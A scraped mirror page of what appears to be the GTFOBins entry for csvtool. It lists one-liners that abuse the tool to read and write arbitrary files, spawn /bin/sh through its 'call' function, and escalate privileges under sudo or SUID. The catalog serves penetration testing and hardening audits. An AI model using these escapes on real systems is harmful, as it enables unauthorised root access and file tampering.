1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/csvtool.md
2021-04-18 11:17:49 +02:00

692 B

functions
file-read file-write suid shell sudo
description code
The file is actually parsed and manipulated as CSV, so this might not be suitable for arbitrary data. LFILE=file_to_read csvtool trim t $LFILE
description code
The file is actually parsed and manipulated as CSV, so this might not be suitable for arbitrary data. LFILE=file_to_write TF=$(mktemp) echo DATA > $TF csvtool trim t $TF -o $LFILE
code
LFILE=file_to_read ./csvtool trim t $LFILE
code
csvtool call '/bin/sh;false' /etc/passwd
code
sudo csvtool call '/bin/sh;false' /etc/passwd